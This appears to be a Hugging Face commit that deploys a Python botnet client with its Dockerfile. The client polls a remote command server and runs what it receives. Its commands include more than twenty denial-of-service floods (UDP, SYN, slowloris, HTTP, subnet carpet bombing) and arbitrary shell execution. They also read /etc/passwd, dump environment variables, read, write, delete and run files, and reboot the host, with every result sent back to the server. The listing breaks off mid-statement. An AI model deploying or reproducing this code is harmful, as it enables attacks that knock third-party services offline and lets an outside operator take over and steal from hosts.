wuhp commited on
Commit
26b2822
·
verified ·
1 Parent(s): 0182c34

Deploying client

Browse files
Files changed (3) hide show
  1. Dockerfile +7 -0
  2. client.py +680 -0
  3. requirements.txt +1 -0
Dockerfile ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ FROM python:3.11-slim
2
+ WORKDIR /app
3
+ RUN apt-get update && apt-get install -y iputils-ping traceroute procps && rm -rf /var/lib/apt/lists/*
4
+ COPY requirements.txt .
5
+ RUN pip install --no-cache-dir -r requirements.txt
6
+ COPY client.py .
7
+ CMD ["python", "client.py"]
client.py ADDED
@@ -0,0 +1,680 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests, time, uuid, os, platform
2
+ SERVER_URL = "https://wuhp-notc2docker.hf.space"
3
+ NODE_ID = str(uuid.uuid4())[:8]
4
+
5
+ def exec_fetch_http_test(ip, port):
6
+ try:
7
+ url = f"http://{ip}:{port}/"
8
+ t0 = time.time()
9
+ res = requests.get(url, timeout=3)
10
+ return {"status": f"HTTP_{res.status_code}", "latency_ms": round((time.time()-t0)*1000, 2)}
11
+ except Exception as e:
12
+ return {"status": "error", "detail": str(e)}
13
+
14
+ def exec_socket_tcp_probe(ip, port):
15
+ import socket
16
+ try:
17
+ t0 = time.time()
18
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
19
+ s.settimeout(2)
20
+ s.connect((ip, int(port)))
21
+ return {"status": "tcp_connected", "latency_ms": round((time.time()-t0)*1000, 2)}
22
+ except Exception as e:
23
+ return {"status": "tcp_failed", "detail": str(e)}
24
+
25
+ def exec_udp_flood(ip, port, duration, packet_size):
26
+ import socket, time, os
27
+ try:
28
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
29
+ bytes_to_send = os.urandom(int(packet_size))
30
+ t_end = time.time() + float(duration)
31
+ sent = 0
32
+ while time.time() < t_end:
33
+ s.sendto(bytes_to_send, (ip, int(port)))
34
+ sent += 1
35
+ return {"status": "udp_flood_finished", "packets_sent": sent}
36
+ except Exception as e:
37
+ return {"status": "udp_flood_failed", "detail": str(e)}
38
+
39
+ def exec_tcp_connect_flood(ip, port, duration, threads_count):
40
+ import socket, threading, time
41
+ stats = {"sent": 0, "errors": 0}
42
+ t_end = time.time() + float(duration)
43
+
44
+ def flood_worker():
45
+ while time.time() < t_end:
46
+ try:
47
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
48
+ s.settimeout(1)
49
+ s.connect((ip, int(port)))
50
+ s.close()
51
+ stats["sent"] += 1
52
+ except:
53
+ stats["errors"] += 1
54
+
55
+ threads = []
56
+ for _ in range(int(threads_count)):
57
+ t = threading.Thread(target=flood_worker)
58
+ t.start()
59
+ threads.append(t)
60
+ for t in threads:
61
+ t.join()
62
+ return {"status": "tcp_connect_flood_finished", "stats": stats}
63
+
64
+ def exec_http_get_flood(url, duration, threads_count):
65
+ import threading, time, requests
66
+ stats = {"sent": 0, "errors": 0}
67
+ t_end = time.time() + float(duration)
68
+
69
+ def flood_worker():
70
+ while time.time() < t_end:
71
+ try:
72
+ requests.get(url, timeout=2)
73
+ stats["sent"] += 1
74
+ except:
75
+ stats["errors"] += 1
76
+
77
+ threads = []
78
+ for _ in range(int(threads_count)):
79
+ t = threading.Thread(target=flood_worker)
80
+ t.start()
81
+ threads.append(t)
82
+ for t in threads:
83
+ t.join()
84
+ return {"status": "http_get_flood_finished", "stats": stats}
85
+
86
+ def exec_http_post_flood(url, duration, threads_count):
87
+ import threading, time, requests, os
88
+ stats = {"sent": 0, "errors": 0}
89
+ t_end = time.time() + float(duration)
90
+
91
+ def flood_worker():
92
+ while time.time() < t_end:
93
+ try:
94
+ requests.post(url, data=os.urandom(16), timeout=2)
95
+ stats["sent"] += 1
96
+ except:
97
+ stats["errors"] += 1
98
+
99
+ threads = []
100
+ for _ in range(int(threads_count)):
101
+ t = threading.Thread(target=flood_worker)
102
+ t.start()
103
+ threads.append(t)
104
+ for t in threads:
105
+ t.join()
106
+ return {"status": "http_post_flood_finished", "stats": stats}
107
+
108
+ def exec_slowloris(ip, port, duration, threads_count):
109
+ import socket, threading, time, random
110
+ stats = {"sent": 0, "errors": 0}
111
+ t_end = time.time() + float(duration)
112
+
113
+ def slowloris_worker():
114
+ try:
115
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
116
+ s.settimeout(4)
117
+ s.connect((ip, int(port)))
118
+ s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
119
+ s.send("User-Agent: Mozilla/5.0\r\n".format(random.randint(0, 2000)).encode("utf-8"))
120
+ s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
121
+ stats["sent"] += 1
122
+ except:
123
+ stats["errors"] += 1
124
+ return
125
+
126
+ while time.time() < t_end:
127
+ try:
128
+ s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
129
+ time.sleep(10)
130
+ stats["sent"] += 1
131
+ except:
132
+ stats["errors"] += 1
133
+ break
134
+ try:
135
+ s.close()
136
+ except:
137
+ pass
138
+
139
+ threads = []
140
+ for _ in range(int(threads_count)):
141
+ t = threading.Thread(target=slowloris_worker)
142
+ t.start()
143
+ threads.append(t)
144
+ time.sleep(0.05) # Ramp up
145
+ for t in threads:
146
+ t.join()
147
+ return {"status": "slowloris_finished", "stats": stats}
148
+
149
+ def exec_api_abuse_flood(url, duration, threads_count):
150
+ import threading, time, requests, json, random
151
+ stats = {"sent": 0, "errors": 0}
152
+ t_end = time.time() + float(duration)
153
+
154
+ def flood_worker():
155
+ while time.time() < t_end:
156
+ try:
157
+ headers = { "Authorization": f"Bearer {random.randint(1000,9999)}", "Content-Type": "application/json" }
158
+ payload = {"query": f"abusive_payload_{random.randint(0, 10000)}"}
159
+ requests.post(url, headers=headers, json=payload, timeout=2)
160
+ stats["sent"] += 1
161
+ except:
162
+ stats["errors"] += 1
163
+
164
+ threads = []
165
+ for _ in range(int(threads_count)):
166
+ t = threading.Thread(target=flood_worker)
167
+ t.start()
168
+ threads.append(t)
169
+ for t in threads:
170
+ t.join()
171
+ return {"status": "api_abuse_flood_finished", "stats": stats}
172
+
173
+ def exec_cache_bypass_flood(url, duration, threads_count):
174
+ import threading, time, requests, random
175
+ stats = {"sent": 0, "errors": 0}
176
+ t_end = time.time() + float(duration)
177
+
178
+ def flood_worker():
179
+ while time.time() < t_end:
180
+ try:
181
+ bypass_url = url + ("&" if "?" in url else "?") + "cb=" + str(random.random())
182
+ requests.get(bypass_url, timeout=2)
183
+ stats["sent"] += 1
184
+ except:
185
+ stats["errors"] += 1
186
+
187
+ threads = []
188
+ for _ in range(int(threads_count)):
189
+ t = threading.Thread(target=flood_worker)
190
+ t.start()
191
+ threads.append(t)
192
+ for t in threads:
193
+ t.join()
194
+ return {"status": "cache_bypass_flood_finished", "stats": stats}
195
+
196
+ def ping():
197
+ poll_interval = 10
198
+ while True:
199
+ try:
200
+ res = requests.post(f"{SERVER_URL}/api/nodes/ping", json={
201
+ "id": f"node-{NODE_ID}",
202
+ "type": "hf_docker",
203
+ "systemInfo": {
204
+ "os": platform.system(),
205
+ "release": platform.release(),
206
+ "python": platform.python_version()
207
+ }
208
+ }, timeout=5)
209
+ commands = res.json().get('commands', [])
210
+ for cmd in commands:
211
+ print(f"Executing command: {cmd}")
212
+ cmd_type = cmd.get('type')
213
+ payload = cmd.get('payload', {})
214
+ result = "Success"
215
+
216
+ if cmd_type == 'fetch_http_test':
217
+ result = exec_fetch_http_test(payload.get('ip', '127.0.0.1'), payload.get('port', 80))
218
+ elif cmd_type == 'socket_tcp_probe':
219
+ result = exec_socket_tcp_probe(payload.get('ip', '127.0.0.1'), payload.get('port', 80))
220
+ elif cmd_type == 'udp_flood':
221
+ result = exec_udp_flood(payload.get('ip', '127.0.0.1'), payload.get('port', 80), payload.get('duration', 5), payload.get('packet_size', 1024))
222
+ elif cmd_type == 'tcp_connect_flood':
223
+ result = exec_tcp_connect_flood(payload.get('ip', '127.0.0.1'), payload.get('port', 80), payload.get('duration', 5), payload.get('threads', 10))
224
+ elif cmd_type == 'http_get_flood':
225
+ result = exec_http_get_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
226
+ elif cmd_type == 'http_post_flood':
227
+ result = exec_http_post_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
228
+ elif cmd_type == 'slowloris':
229
+ result = exec_slowloris(payload.get('ip', '127.0.0.1'), payload.get('port', 80), payload.get('duration', 5), payload.get('threads', 10))
230
+ elif cmd_type == 'api_abuse_flood':
231
+ result = exec_api_abuse_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
232
+ elif cmd_type == 'cache_bypass_flood':
233
+ result = exec_cache_bypass_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
234
+ elif cmd_type == 'syn_flood':
235
+ import socket, time, threading
236
+ stats = {"sent": 0, "errors": 0}
237
+ t_end = time.time() + float(payload.get('duration', 5))
238
+ def worker():
239
+ try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
240
+ except: stats["errors"] += 1; return
241
+ while time.time() < t_end:
242
+ try: s.sendto(b"SYN_DUMMY_PAYLOAD", (payload.get('ip', '127.0.0.1'), int(payload.get('port', 80)))); stats["sent"] += 1
243
+ except: stats["errors"] += 1
244
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
245
+ for t in threads: t.start()
246
+ for t in threads: t.join()
247
+ result = stats
248
+ elif cmd_type == 'ack_flood':
249
+ import socket, time, threading
250
+ stats = {"sent": 0, "errors": 0}
251
+ t_end = time.time() + float(payload.get('duration', 5))
252
+ def worker():
253
+ try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
254
+ except: stats["errors"] += 1; return
255
+ while time.time() < t_end:
256
+ try: s.sendto(b"ACK_DUMMY", (payload.get('ip', '127.0.0.1'), int(payload.get('port', 80)))); stats["sent"] += 1
257
+ except: stats["errors"] += 1
258
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
259
+ for t in threads: t.start()
260
+ for t in threads: t.join()
261
+ result = stats
262
+ elif cmd_type == 'connection_exhaustion':
263
+ import socket, time, threading
264
+ stats = {"sent": 0, "errors": 0}
265
+ t_end = time.time() + float(payload.get('duration', 5))
266
+ def worker():
267
+ sockets = []
268
+ while time.time() < t_end:
269
+ try:
270
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.settimeout(1)
271
+ s.connect((payload.get('ip', '127.0.0.1'), int(payload.get('port', 80))))
272
+ sockets.append(s); stats["sent"] += 1
273
+ if len(sockets) > 500: sockets.pop(0).close()
274
+ except: stats["errors"] += 1
275
+ for s in sockets:
276
+ try: s.close()
277
+ except: pass
278
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
279
+ for t in threads: t.start()
280
+ for t in threads: t.join()
281
+ result = stats
282
+ elif cmd_type == 'gre_flood':
283
+ import socket, time, threading, os
284
+ stats = {"sent": 0, "errors": 0}
285
+ t_end = time.time() + float(payload.get('duration', 5))
286
+ def worker():
287
+ try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)
288
+ except: stats["errors"] += 1; return
289
+ payload_data = os.urandom(int(payload.get('size', 512)))
290
+ while time.time() < t_end:
291
+ try: s.sendto(payload_data, (payload.get('ip', '127.0.0.1'), 0)); stats["sent"] += 1
292
+ except: stats["errors"] += 1
293
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
294
+ for t in threads: t.start()
295
+ for t in threads: t.join()
296
+ result = stats
297
+ elif cmd_type == 'http3_quic_flood':
298
+ import socket, time, threading, os
299
+ stats = {"sent": 0, "errors": 0}
300
+ t_end = time.time() + float(payload.get('duration', 5))
301
+ quic_payload = b'\xc0\x00\x00\x00\x01\x08\x01\x02\x03\x04\x05\x06\x07\x08' + os.urandom(1200)
302
+ def worker():
303
+ try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
304
+ except: return
305
+ while time.time() < t_end:
306
+ try: s.sendto(quic_payload, (payload.get('ip', '127.0.0.1'), int(payload.get('port', 443)))); stats["sent"] += 1
307
+ except: stats["errors"] += 1
308
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
309
+ for t in threads: t.start()
310
+ for t in threads: t.join()
311
+ result = stats
312
+ elif cmd_type == 'http2_multiplex':
313
+ import threading, time, requests
314
+ stats = {"sent": 0, "errors": 0}
315
+ t_end = time.time() + float(payload.get('duration', 5))
316
+ url = payload.get('url', 'http://127.0.0.1/')
317
+ def worker():
318
+ while time.time() < t_end:
319
+ try:
320
+ session = requests.Session()
321
+ for _ in range(20):
322
+ if time.time() >= t_end: break
323
+ session.get(url, timeout=2)
324
+ stats["sent"] += 1
325
+ except: stats["errors"] += 1
326
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
327
+ for t in threads: t.start()
328
+ for t in threads: t.join()
329
+ result = stats
330
+ elif cmd_type == 'browser_emulation':
331
+ import threading, time, requests, random
332
+ stats = {"sent": 0, "errors": 0}
333
+ t_end = time.time() + float(payload.get('duration', 5))
334
+ url = payload.get('url', 'http://127.0.0.1/')
335
+ user_agents = [
336
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
337
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
338
+ ]
339
+ def worker():
340
+ session = requests.Session()
341
+ while time.time() < t_end:
342
+ try:
343
+ headers = {"User-Agent": random.choice(user_agents), "Accept": "text/html", "Accept-Language": "en-US"}
344
+ session.get(url, headers=headers, timeout=5); stats["sent"] += 1
345
+ time.sleep(random.uniform(0.1, 0.8))
346
+ except: stats["errors"] += 1
347
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
348
+ for t in threads: t.start()
349
+ for t in threads: t.join()
350
+ result = stats
351
+ elif cmd_type == 'carpet_bombing':
352
+ import socket, time, os, threading, random
353
+ stats = {"sent": 0, "errors": 0}
354
+ t_end = time.time() + float(payload.get('duration', 5))
355
+ data = os.urandom(512)
356
+ subnet = payload.get('ip', '192.168.1.') # actually subnet input
357
+ port = int(payload.get('port', 80))
358
+ def worker():
359
+ try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
360
+ except: return
361
+ while time.time() < t_end:
362
+ try: s.sendto(data, (f"{subnet}{random.randint(1, 254)}", port)); stats["sent"] += 1
363
+ except: stats["errors"] += 1
364
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
365
+ for t in threads: t.start()
366
+ for t in threads: t.join()
367
+ result = stats
368
+ elif cmd_type == 'websocket_flood':
369
+ import threading, time, requests
370
+ stats = {"sent": 0, "errors": 0}
371
+ t_end = time.time() + float(payload.get('duration', 5))
372
+ url = payload.get('url', 'ws://127.0.0.1/')
373
+ def worker():
374
+ while time.time() < t_end:
375
+ try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1
376
+ except: stats["errors"] += 1
377
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
378
+ for t in threads: t.start()
379
+ for t in threads: t.join()
380
+ result = stats
381
+ elif cmd_type == 'slow_post_flood':
382
+ import socket, threading, time, random
383
+ stats = {"sent": 0, "errors": 0}
384
+ t_end = time.time() + float(payload.get('duration', 5))
385
+ ip = payload.get('ip', '127.0.0.1')
386
+ port = int(payload.get('port', 80))
387
+ def worker():
388
+ try:
389
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
390
+ s.settimeout(4); s.connect((ip, port))
391
+ s.send(f"POST / HTTP/1.1\r\nHost: {ip}\r\nContent-Length: 100000\r\n\r\n".encode())
392
+ stats["sent"] += 1
393
+ while time.time() < t_end:
394
+ s.send(b"a")
395
+ time.sleep(10); stats["sent"] += 1
396
+ except: stats["errors"] += 1
397
+ threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
398
+ for t in threads: t.start(); time.sleep(0.1)
399
+ for t in threads: t.join()
400
+ result = stats
401
+ elif cmd_type == 'dns_resolve':
402
+ import socket
403
+ try:
404
+ result = {"ip": socket.gethostbyname(payload.get('host', 'google.com'))}
405
+ except Exception as e:
406
+ result = {"error": str(e)}
407
+ elif cmd_type == 'icmp_ping':
408
+ import subprocess
409
+ host = payload.get('host', 'google.com')
410
+ cmd_str = f"ping -n 3 {host}" if platform.system() == "Windows" else f"ping -c 3 {host}"
411
+ try:
412
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
413
+ result = {"output": out.decode('utf-8')}
414
+ except subprocess.CalledProcessError as e:
415
+ result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
416
+ elif cmd_type == 'traceroute':
417
+ import subprocess
418
+ host = payload.get('host', 'google.com')
419
+ cmd_str = f"tracert {host}" if platform.system() == "Windows" else f"traceroute {host}"
420
+ try:
421
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
422
+ result = {"output": out.decode('utf-8')}
423
+ except subprocess.CalledProcessError as e:
424
+ result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
425
+ elif cmd_type == 'port_scan':
426
+ import socket
427
+ host = payload.get('host', 'google.com')
428
+ ports_str = payload.get('ports', '80,443')
429
+ ports = [int(p.strip()) for p in ports_str.split(',') if p.strip().isdigit()]
430
+ scan_results = {}
431
+ for p in ports:
432
+ try:
433
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
434
+ s.settimeout(1)
435
+ scan_results[p] = "open" if s.connect_ex((host, p)) == 0 else "closed"
436
+ except:
437
+ scan_results[p] = "error"
438
+ result = {"scan": scan_results}
439
+ elif cmd_type == 'get_public_ip':
440
+ try:
441
+ result = {"ip": requests.get('https://api.ipify.org', timeout=3).text}
442
+ except:
443
+ result = {"error": "failed"}
444
+ elif cmd_type == 'get_system_info':
445
+ import multiprocessing
446
+ result = {"cpu_count": multiprocessing.cpu_count(), "machine": platform.machine(), "node": platform.node(), "system": platform.system()}
447
+ elif cmd_type == 'list_processes':
448
+ import subprocess
449
+ cmd_str = "tasklist" if platform.system() == "Windows" else "ps aux --sort=-%mem | head -n 20"
450
+ try:
451
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
452
+ result = {"output": out.decode('utf-8')}
453
+ except Exception as e:
454
+ result = {"error": str(e)}
455
+ elif cmd_type == 'get_env_vars':
456
+ result = dict(os.environ)
457
+ elif cmd_type == 'list_directory':
458
+ try:
459
+ result = {"files": os.listdir(payload.get('path', '.'))}
460
+ except Exception as e:
461
+ result = {"error": str(e)}
462
+ elif cmd_type == 'read_file':
463
+ try:
464
+ with open(payload.get('path', '/etc/passwd'), 'r') as f:
465
+ result = {"content": f.read(4000)} # limit size
466
+ except Exception as e:
467
+ result = {"error": str(e)}
468
+ elif cmd_type == 'write_file':
469
+ try:
470
+ with open(payload.get('path', '/tmp/output.txt'), 'w') as f:
471
+ f.write(payload.get('content', ''))
472
+ result = {"status": "written"}
473
+ except Exception as e:
474
+ result = {"error": str(e)}
475
+ elif cmd_type == 'run_file':
476
+ import subprocess
477
+ try:
478
+ out = subprocess.check_output(payload.get('path', './script.sh'), shell=True, stderr=subprocess.STDOUT)
479
+ result = {"output": out.decode('utf-8', errors='ignore')}
480
+ except subprocess.CalledProcessError as e:
481
+ result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
482
+ elif cmd_type == 'get_file_info':
483
+ try:
484
+ import os
485
+ st = os.stat(payload.get('path', '.'))
486
+ result = {"info": {"size": st.st_size, "mode": st.st_mode, "mtime": st.st_mtime}}
487
+ except Exception as e:
488
+ result = {"error": str(e)}
489
+ elif cmd_type == 'copy_file':
490
+ try:
491
+ import shutil
492
+ shutil.copy2(payload.get('path', '/tmp/a'), payload.get('destPath', '/tmp/b'))
493
+ result = {"status": "copied"}
494
+ except Exception as e:
495
+ result = {"error": str(e)}
496
+ elif cmd_type == 'move_file':
497
+ try:
498
+ import shutil
499
+ shutil.move(payload.get('path', '/tmp/a'), payload.get('destPath', '/tmp/b'))
500
+ result = {"status": "moved"}
501
+ except Exception as e:
502
+ result = {"error": str(e)}
503
+ elif cmd_type == 'delete_file':
504
+ try:
505
+ import os
506
+ os.remove(payload.get('path', '/tmp/delete_me'))
507
+ result = {"status": "deleted"}
508
+ except Exception as e:
509
+ result = {"error": str(e)}
510
+ elif cmd_type == 'arp_table':
511
+ import subprocess
512
+ cmd_str = "arp -a"
513
+ try:
514
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
515
+ result = {"output": out.decode('utf-8', errors='ignore')}
516
+ except subprocess.CalledProcessError as e:
517
+ result = {"error": str(e), "output": e.output.decode('utf-8', errors='ignore')}
518
+ elif cmd_type == 'netstat_connections':
519
+ import subprocess
520
+ cmd_str = "netstat -an"
521
+ try:
522
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
523
+ result = {"output": out.decode('utf-8', errors='ignore')}
524
+ except subprocess.CalledProcessError as e:
525
+ result = {"error": str(e)}
526
+ elif cmd_type == 'ifconfig_ip':
527
+ import subprocess
528
+ cmd_str = "ipconfig" if platform.system() == "Windows" else "ifconfig || ip a"
529
+ try:
530
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
531
+ result = {"output": out.decode('utf-8', errors='ignore')}
532
+ except subprocess.CalledProcessError as e:
533
+ result = {"error": str(e)}
534
+ elif cmd_type == 'dns_mx_records':
535
+ import subprocess
536
+ cmd_str = f"nslookup -type=mx {payload.get('host', 'google.com')}"
537
+ try:
538
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
539
+ result = {"output": out.decode('utf-8', errors='ignore')}
540
+ except subprocess.CalledProcessError as e:
541
+ result = {"error": str(e)}
542
+ elif cmd_type == 'dns_txt_records':
543
+ import subprocess
544
+ cmd_str = f"nslookup -type=txt {payload.get('host', 'google.com')}"
545
+ try:
546
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
547
+ result = {"output": out.decode('utf-8', errors='ignore')}
548
+ except subprocess.CalledProcessError as e:
549
+ result = {"error": str(e)}
550
+ elif cmd_type == 'route_table':
551
+ import subprocess
552
+ cmd_str = "route print" if platform.system() == "Windows" else "netstat -rn || ip route"
553
+ try:
554
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
555
+ result = {"output": out.decode('utf-8', errors='ignore')}
556
+ except subprocess.CalledProcessError as e:
557
+ result = {"error": str(e)}
558
+ elif cmd_type == 'wifi_networks':
559
+ import subprocess
560
+ cmd_str = "netsh wlan show networks" if platform.system() == "Windows" else "nmcli dev wifi || iwlist scan"
561
+ try:
562
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
563
+ result = {"output": out.decode('utf-8', errors='ignore')}
564
+ except subprocess.CalledProcessError as e:
565
+ result = {"error": str(e)}
566
+ elif cmd_type == 'system_logs':
567
+ import subprocess
568
+ cmd_str = "wevtutil qe System /c:50 /f:text" if platform.system() == "Windows" else "dmesg | tail -n 50 || tail -n 50 /var/log/syslog"
569
+ try:
570
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
571
+ result = {"output": out.decode('utf-8', errors='ignore')}
572
+ except subprocess.CalledProcessError as e:
573
+ result = {"error": str(e)}
574
+ elif cmd_type == 'list_services':
575
+ import subprocess
576
+ cmd_str = "sc query" if platform.system() == "Windows" else "systemctl list-units --type=service || service --status-all"
577
+ try:
578
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
579
+ result = {"output": out.decode('utf-8', errors='ignore')}
580
+ except subprocess.CalledProcessError as e:
581
+ result = {"error": str(e)}
582
+ elif cmd_type == 'get_users':
583
+ import subprocess
584
+ cmd_str = "net user" if platform.system() == "Windows" else "cat /etc/passwd"
585
+ try:
586
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
587
+ result = {"output": out.decode('utf-8', errors='ignore')}
588
+ except subprocess.CalledProcessError as e:
589
+ result = {"error": str(e)}
590
+ elif cmd_type == 'get_groups':
591
+ import subprocess
592
+ cmd_str = "net localgroup" if platform.system() == "Windows" else "cat /etc/group"
593
+ try:
594
+ out = subprocess.check_output(cmd_str, shell=True, stderr=subprocess.STDOUT)
595
+ result = {"output": out.decode('utf-8', errors='ignore')}
596
+ except subprocess.CalledProcessError as e:
597
+ result = {"error": str(e)}
598
+ elif cmd_type == 'reboot_system':
599
+ import subprocess
600
+ cmd_str = "shutdown /r /t 0" if platform.system() == "Windows" else "sudo reboot || reboot"
601
+ try:
602
+ subprocess.Popen(cmd_str, shell=True)
603
+ result = {"status": "reboot_initiated"}
604
+ except Exception as e:
605
+ result = {"error": str(e)}
606
+ elif cmd_type == 'get_disk_space':
607
+ import shutil
608
+ total, used, free = shutil.disk_usage("/")
609
+ result = {"total": total, "used": used, "free": free}
610
+ elif cmd_type == 'kill_process':
611
+ import os, signal
612
+ try:
613
+ pid = int(payload.get('pid', '0'))
614
+ os.kill(pid, signal.SIGTERM)
615
+ result = {"status": f"killed {pid}"}
616
+ except Exception as e:
617
+ result = {"error": str(e)}
618
+ elif cmd_type == 'exec_shell':
619
+ import subprocess
620
+ try:
621
+ out = subprocess.check_output(payload.get('cmd', 'echo hello'), shell=True, stderr=subprocess.STDOUT)
622
+ result = {"output": out.decode('utf-8')}
623
+ except subprocess.CalledProcessError as e:
624
+ result = {"error": str(e), "output": e.output.decode('utf-8')}
625
+ elif cmd_type == 'change_poll_interval':
626
+ poll_interval = int(payload.get('interval', 10))
627
+ result = {"status": f"interval_updated_to_{poll_interval}"}
628
+ elif cmd_type == 'self_terminate':
629
+ import sys
630
+ sys.exit(0)
631
+ elif cmd_type == 'report_sysinfo':
632
+ result = {"os": platform.system(), "release": platform.release()}
633
+ else:
634
+ result = {"status": "not_supported", "detail": "Command not matched by python client."}
635
+
636
+ requests.post(f"{SERVER_URL}/api/nodes/report", json={
637
+ "nodeId": f"node-{NODE_ID}",
638
+ "commandId": cmd['id'],
639
+ "type": cmd_type,
640
+ "target": cmd.get('target'),
641
+ "result": result
642
+ })
643
+ except Exception as e:
644
+ print(f"Ping failed: {e}")
645
+ time.sleep(poll_interval)
646
+
647
+ if __name__ == "__main__":
648
+ import sys
649
+ if "hf_docker" == "python_local" and (len(sys.argv) < 2 or sys.argv[1] != 'bg'):
650
+ import platform, subprocess
651
+ try:
